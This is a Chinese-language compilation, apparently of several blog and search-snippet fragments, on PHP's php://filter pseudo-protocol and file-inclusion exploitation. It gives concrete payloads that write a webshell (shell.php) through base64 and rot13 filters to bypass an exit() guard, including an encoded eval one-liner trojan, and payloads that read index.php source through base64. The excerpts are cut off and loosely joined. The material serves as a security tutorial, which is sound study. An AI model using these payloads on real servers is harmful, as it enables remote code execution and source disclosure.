前言 本文主要讲解php filter伪协议,文件包含漏洞 php://filter伪协议是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理、rot13处理等。php://filter伪协议主要用于一体式(all-in-one)
$filename="php://filter/write=convert.base64-decode/resource=shell.php";$content="aPD9waHAgcGhwaW5mbygpOz8+" 1. 2. rot13绕过 $filename="php://filter/write=string.rot13/resource=shell.php";$content="<?cuc cucvasb();?>"; 1. 2. 组合方式绕过 例如使用strip_tags和base64进行绕过: $...
?file=php://filter/write=string.rot13/resource=shell.php 由于urldeocde()函数,需要对?file=的参数进行url双编码(浏览器解码一次,urldecode()函数解码一次) content参数使用POST方法请求: content=?<hp pe@av(l_$EG[T]1;)>? (rot13编码) 如下图所示: 最后访问/shell.php连接一句话木马: /shell.php?
file1=php://filter/resource=file.txt# 编码读取index.php?file1=php://filter/read=convert.base64-encode/resource=file.txt 测试结果: 写入文件 payload: # 明文写入index.php?file2=php://filter/resource=test.txt&txt=Qftm# 编码写入index.php?file2=php://filter/write=convert.base64-encode/resour...
index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld 过滤器 字符串过滤器 string.rot13,string.rot13(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据。 str_rot13—对字符串执行ROT13转换。ROT13编码简单地使用字母表中后面第13个字母替换...
filter协议的简单利用 php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤...
php://filter:作用:在读入或写入数据时将数据处理后再输出 格式: 代码语言:javascript 代码运行次数:0 运行 AI代码解释 php://filter/read=xxx|xxx|xxx/resource=xxx php://filter/write=xxx|xxx/resource=xxx 参数: 代码语言:javascript 代码运行次数:0 运行 AI代码解释 string.rot13 //一种字符处理方式,字...
1. 读取文件内容:PHP伪协议可以用来读取文件的内容,例如使用`php://filter/read=convert.base64-encode/resource=/path/to/file.php`可以读取指定文件并进行Base64编码后返回结果。 2. 写入文件内容:PHP伪协议还可以用来写入文件的内容。例如使用`php://filter/write=string.rot13/resource=/path/to/file.php`可...
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出: readfile("php://filter/read=convert.base64-encode/resource=php://input"); 如下: 所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用php://filter协议流处...
$a= php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php 和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag) #方法三、iconv字符编码转换 通过字符转换把<?php exit();转成不能解析的,这里采用的是UCS-2或者UCS...